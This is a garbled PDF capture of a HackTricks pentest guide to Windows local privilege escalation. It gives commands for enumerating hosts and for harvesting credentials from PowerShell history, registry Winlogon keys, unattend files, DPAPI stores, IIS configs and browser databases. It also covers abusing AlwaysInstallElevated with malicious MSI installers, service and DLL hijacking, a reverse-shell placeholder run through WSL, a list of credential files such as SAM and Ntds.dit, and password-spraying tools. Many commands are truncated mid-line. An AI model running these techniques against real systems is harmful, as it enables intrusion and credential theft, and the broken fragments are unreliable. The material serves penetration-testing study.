Windows Local Privilege Escalation - HackTricks
Windows Local Privilege Escalation - HackTricks
Windows Local
Privilege Escalation
Access Tokens
If you don't know what are Windows Access Tokens, read
the following page before continuing:
Access Tokens
ACLs - DACLs/SACLs/ACEs
If you don't know what is any of the acronyms used in the
heading of this section, read the following page before
continuing:
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 1/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
ACLs - DACLs/SACLs/ACEs
Integrity Levels
If you don't know what are integrity levels in Windows you
should read the following page before continuing:
Integrity Levels
System Info
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 2/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
[System.Environment]::OSVersion.Version #Current O
Get-WmiObject -query 'select * from win32_quickfix
Get-Hotfix -description "Security update" #List on
Version Exploits
This site is handy for searching out detailed information
about Microsoft security vulnerabilities. This database has
more than 4,700 security vulnerabilities, showing the
massive attack surface that a Windows environment
presents.
On the system
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
watson
winpeas (Winpeas has watson embedded)
https://github.com/AonCyberLabs/Windows-Exploit-
Suggester
https://github.com/bitsadmin/wesng
https://github.com/nomi-sec/PoC-in-GitHub
https://github.com/abatchy17/WindowsExploits
https://github.com/SecWiki/windows-kernel-exploits
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 3/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Environment
Any credential/Juicy info saved in the env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value
PowerShell History
type %userprofile%\AppData\Roaming\Microsoft\Windo
type C:\Users\swissky\AppData\Roaming\Microsoft\Wi
type $env:APPDATA\Microsoft\Windows\PowerShell\PSR
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls p
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 4/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 5/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Internet Settings
Drives
WSUS
You can compromise the system if the updates are not
requested using httpS but http.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 6/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Win
WUServer REG_SZ http://xxxx-updxx.corp
And if
HKLM\Software\Policies\Microsoft\Windows\Win
dowsUpdate\AU /v UseWUServer is equals to 1.
CTX_WSUSpect_White_Paper.pdf 517KB
PDF
WSUS CVE-2020-1013
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 7/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
KrbRelayUp
This is essentially a universal no-fix local privilege
escalation in windows ___domain environments where LDAP
signing is not enforced, where the user has self rights (to
configure RBCD) and where the user can create
computers in the ___domain.
All the requirements are satisfied with default settings.
Find the exploit in
https://github.com/Dec0ne/KrbRelayUp
AlwaysInstallElevated
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 8/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Metasploit payloads
PowerUP
Use the Write-UserAddMSI command from power-up to
create inside the current directory a Windows MSI binary to
escalate privileges. This script writes out a precompiled
MSI installer that prompts for a user/group addition (so
you will need GIU access):
Write-UserAddMSI
MSI Wrapper
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 9/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 10/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
MSI Installation
To execute the installation of the malicious .msi file in
background:
Audit Settings
These settings decide what is being logged, so you should
pay attention
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 11/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
WEF
Windows Event Forwarding, is interesting to know where
are the logs sent
LAPS
LAPS allows you to manage the local Administrator
password (which is randomised, unique, and changed
regularly) on ___domain-joined computers. These passwords
are centrally stored in Active Directory and restricted to
authorised users using ACLs. If your user is given enough
permissions you might be able to read the passwords of
the local admins.
LAPS
WDigest
If active, plain-text passwords are stored in LSASS (Local
Security Authority Subsystem Service).
More info about WDigest in this page.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 12/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
LSA Protection
Microsoft in Windows 8.1 and later has provided additional
protection for the LSA to prevent untrusted processes from
being able to read its memory or to inject code.
More info about LSA Protection here.
Credentials Guard
Credential Guard is a new feature in Windows 10
(Enterprise and Education edition) that helps to protect
your credentials on a machine from threats such as pass
the hash.
More info about Credentials Guard here.
Cached Credentials
Domain credentials are used by operating system
components and are authenticated by the Local Security
Authority (LSA). Typically, ___domain credentials are
established for a user when a registered security package
authenticates the user's logon data.
More info about Cached Credentials here.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 13/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Admin
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, Pri
Privileged groups
If you belongs to some privileged group you may be able
to escalate privileges. Learn about privileged groups and
how to abuse them to escalate privileges here:
Privileged Groups
Token manipulation
Learn more about what is a token in this page: Windows
Tokens.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 14/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Abusing Tokens
qwinsta
klist sessions
Home folders
dir C:\Users
Get-ChildItem C:\Users
Password Policy
net accounts
Running Processes
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 15/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svch
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 16/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Services
Get a list of services:
net start
wmic service list brief
sc query
Get-Service
Permissions
You can use sc to get information of a service
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 17/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
sc qc <service name>
Enable service
If you are having this error (for example with SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled
or because it has no enabled devices associated with it.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 18/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Restart service
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 19/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 20/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Check
#Tryifto write everyUsers
Authenticated or NTwith its current conte
service
for /f %a in ('reg query hklm\system\currentcontro
AUTHORITY\INTERACTIVE have FullControl. In that case
you can change the binary that is going to be executed by
get-acl HKLM:\System\CurrentControlSet\services\*
the service.
To change the Path of the binary executed:
Services registry
AppendData/AddSubdirectory permissions
If you have this permission over a registry this means to
you can create sub registries from this one. In case of
Windows services this is enough to execute arbitrary code:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 21/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
#Other way
for /f "tokens=2" %%n in ('sc query state^= all^|
for /f "delims=: tokens=1*" %%r in ('sc qc
echo %%~s | findstr /r /c:"[a-Z][
)
)
Recovery Actions
It's possible to indicate Windows what it should do when
executing a service this fails. If that setting is pointing a
binary and this binary can be overwritten you may be able
to escalate privileges.
Applications
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 22/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Installed Applications
Check permissions of the binaries (maybe you can
overwrite one and escalate privileges) and of the folders
(DLL Hijacking).
Write Permissions
Check if you can modify some config file to read some
special file or if you can modify some binary that is going
to be executed by an Administrator account (schedtasks).
A way to find weak folder/files permissions in the system is
doing:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 23/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Run at startup
Check if you can overwrite some registry or binary that is
going to be executed by a different user.
Read the following page to learn more about interesting
autoruns locations to escalate privileges:
Drivers
Look for possible third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 24/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Network
Shares
hosts file
Check for other known computers hardcoded on the hosts
file
type C:\Windows\System32\drivers\etc\hosts
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,Interfa
Get-DnsClientServerAddress -AddressFamily IPv4 | f
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 25/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Open Ports
Check for restricted services from the outside
Routing Table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationP
ARP Table
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,I
Firewall Rules
Check this page for Firewall related commands (list rules,
create rules, turn off, turn off...)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 26/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Windows Credentials
Winlogon Credentials
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Curr
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Curr
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Curr
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Curr
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Curr
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Curr
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 27/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrato
Type: Domain Password
User: WORKGROUP\Administrator
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 28/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
DPAPI
In theory, the Data Protection API can enable symmetric
encryption of any kind of data; in practice, its primary use
in the Windows operating system is to perform symmetric
encryption of asymmetric private keys, using a user or
system secret as a significant contribution of entropy.
DPAPI allows developers to encrypt keys using a
symmetric key derived from the user's logon secrets, or in
the case of system encryption, using the system's ___domain
authentication secrets.
The DPAPI keys used for encrypting the user's RSA keys
are stored under %APPDATA%\Microsoft\Protect\
{SID} directory, where {SID} is the Security Identifier of
that user. The DPAPI key is stored in the same file as the
master key that protects the users private keys. It usually
is 64 bytes of random data. (Notice that this directory is
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 29/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
protected so you cannot list it using dir from the cmd, but
youGet-ChildItem
can list it from PS).
C:\Users\USER\AppData\Roaming\Micro
Get-ChildItem C:\Users\USER\AppData\Local\Microso
dir C:\Users\username\AppData\Local\Microsoft\Cred
dir C:\Users\username\AppData\Roaming\Microsoft\Cr
Get-ChildItem -Hidden C:\Users\username\AppData\Lo
Get-ChildItem -Hidden C:\Users\username\AppData\Ro
PowerShell Credentials
PowerShell credentials are often used for scripting and
automation tasks as a way to store encrypted credentials
conveniently. The credentials are protected using DPAPI,
which typically means they can only be decrypted by the
same user on the same computer they were created on.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 30/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
john
PS C:\htb> $credential.GetNetworkCredential().pass
JustAPWD!
Wifi
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 31/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersio
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersi
Remote Desktop Credential Manager
Sticky Notes
People often use the StickyNotes app on Windows
workstations to save passwords and other information,
not realizing it is a database file. This file is located at
C:\Users\
<user>\AppData\Local\Packages\Microsoft.Micro
softStickyNotes_8wekyb3d8bbwe\LocalState\plum
.sqlite and is always worth searching for and
examining.
AppCmd.exe
Note that to recover passwords from AppCmd.exe you
need to be Administrator and run under a High Integrity
level.
AppCmd.exe is located in the
%systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials
have been configured and can be recovered.
This code was extracted from PowerUP:
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 32/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Get username
$PoolUserCmd = "$Env:SystemRoot\Syst
$PoolUser = Invoke-Expression $PoolU
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\
$PoolPassword = Invoke-Expression $P
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 33/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Invoke-Expression "$Env:SystemRoot\Syste
# Get username
$VdirUserCmd = "$Env:SystemRoot\Syst
$VdirUser = Invoke-Expression $VdirU
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\
$VdirPassword = Invoke-Expression $V
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 34/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
SCClient / SCCM
Check if C:\Windows\CCM\SCClient.exe exists .
Installers are run with SYSTEM privileges, many are
vulnerable to DLL Sideloading (Info from
https://github.com/enjoiz/Privesc).
Putty Creds
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 35/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Unattended files
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 36/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
YouC:\Windows\Panther\Unattended.xml
can also search for these files using metasploit:
C:\Windows\Panther\Unattend.xml
post/windows/gather/enum_unattend
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
Example content_:_
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
<component name="Microsoft-Windows-Shell-Setup" pu
C:\unattend.txt
<AutoLogon>
C:\unattend.inf
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo
dir /s *sysprep.inf *sysprep.xml *unattended.xml *
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Passwor
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 37/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Cloud Credentials
McAfee SiteList.xml
Search for a file called SiteList.xml
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 38/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Search in C:\ProgramData\Microsoft\Group
Policy\history or in C:\Documents and Settings\All
Users\Application Data\Microsoft\Group Policy\history
to W Vista) for these files:
Groups.xml
(previous
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Co
C:\inetpub\wwwroot\web.config
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 39/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="S
</credentials>
</forms>
</authentication>
OpenVPN credentials
$decryptedbytes = [System.Security.Cryptography.
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionSc
Write-Host ([System.Text.Encoding]::Unicode.GetS
}
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 40/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Logs
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.
#Get plaintext
$cred.GetNetworkCredential() | fl
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 41/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
$env:APPDATA\Microsoft\Windows\PowerShell\PSRead
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cn
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 42/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\securi
%WINDIR%\iis6.log
Search all of the proposed files:
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
cd C:\
%WINDIR%\system32\config\security.sav
dir /s/b /A:-D RDCMan.settings == *.rdg == *_histo
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
Get-Childitem –Path C:\ -Include *unattend*,*syspr
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 43/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Browsers History
You should check for dbs where passwords from Chrome
or Firefox are stored.
Also check for the history, bookmarks and favourites of the
browsers so maybe some passwords are stored there.
Tools to extract passwords from browsers:
Mimikatz: dpapi::chrome
SharpWeb
SharpChromium
SharpDPAPI****
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 44/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
COM Hijacking
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 45/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u ___domain.com\adm-
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 46/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Leaked Handlers
Imagine that a process running as SYSTEM open a new
process ( OpenProcess() ) with full access. The same
process also create a new process ( CreateProcess() )
with low privileges but inheriting all the open handles of
the main process.
Then, if you have full access to the low privileged process,
you can grab the open handle to the privileged process
created with OpenProcess() and inject a shellcode.
Read this example for more information about how to
detect and exploit this vulnerability.
Read this other post for a more complete explanation on
how to test and abuse more open handlers of processes
and threads inherited with different levels of permissions
(not only full access).
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 47/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Misc
while($true)
{
$process = Get-WmiObject Win32_Process | Select-
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select
Compare-Object -ReferenceObject $process -Differ
}
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 48/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
SERVER
======
WORKSTATION
===========
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 49/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Integrity Levels
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 50/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
AlwaysInstallElevated
From a High Integrity process you could try to enable the
AlwaysInstallElevated registry entries and install a
reverse shell using a .msi wrapper.
More information about the registry keys involved and how
to install a .msi package here.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 51/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Named Pipes
This technique is used by meterpreter to escalate in
getsystem . The technique consists on creating a pipe
and then create/abuse a service to write on that pipe.
Then, the server that created the pipe using the
SeImpersonate privilege will be able to impersonate the
token of the pipe client (the service) obtaining SYSTEM
privileges.
If you want to learn more about name pipes you should
read this.
If you want to read an example of how to go from high
integrity to System using name pipes you should read
this.
Dll Hijacking
If you manages to hijack a dll being loaded by a process
running as SYSTEM you will be able to execute arbitrary
code with those permissions. Therefore Dll Hijacking is also
useful to this kind of privilege escalation, and, moreover, if
far more easy to achieve from a high integrity process as
it will have write permissions on the folders used to load
dlls.
You can learn more about Dll hijacking here.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 52/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
More help
Static impacket binaries
Useful tools
Best tool to look for Windows local privilege escalation
vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Check for
misconfigurations and sensitive files (check here).
Detected.
JAWS -- Check for some possible misconfigurations and
gather info (check here).
privesc -- Check for misconfigurations
SessionGopher -- It extracts PuTTY, WinSCP,
SuperPuTTY, FileZilla, and RDP saved session
information. Use -Thorough in local.
Invoke-WCMDump -- Extracts crendentials from
Credential Manager. Detected.
DomainPasswordSpray -- Spray gathered passwords
across ___domain
Inveigh -- Inveigh is a PowerShell
ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-
middle tool.
WindowsEnum -- Basic privesc Windows enumeration
Sherlock ~~~~ -- Search for known privesc vulnerabilities
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 53/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
multi/recon/local_exploit_suggestor
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 54/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Bibliography
http://www.fuzzysecurity.com/tutorials/16.html
http://www.greyhathacker.net/?p=738
http://it-ovid.blogspot.com/2012/02/windows-privilege-
escalation.html
https://github.com/sagishahar/lpeworkshop
https://www.youtube.com/watch?v=_8xJaaQlpBo
https://sushant747.gitbooks.io/total-oscp-
guide/privilege_escalation_windows.html
https://github.com/swisskyrepo/PayloadsAllTheThings/blo
b/master/Methodology%20and%20Resources/Windows%
20-%20Privilege%20Escalation.md
https://www.absolomb.com/2018-01-26-Windows-
Privilege-Escalation-Guide/
https://github.com/netbiosX/Checklists/blob/master/Wind
ows-Privilege-Escalation.md
https://github.com/frizb/Windows-Privilege-Escalation
https://pentest.blog/windows-privilege-escalation-
methods-for-pentesters/
https://github.com/frizb/Windows-Privilege-Escalation
http://it-ovid.blogspot.com/2012/02/windows-privilege-
escalation.html
https://github.com/swisskyrepo/PayloadsAllTheThings/blo
b/master/Methodology%20and%20Resources/Windows%
20-%20Privilege%20Escalation.md#antivirus--detections
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 55/56
12/8/23, 6:35 PM Windows Local Privilege Escalation - HackTricks
Next
Abusing Tokens
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 56/56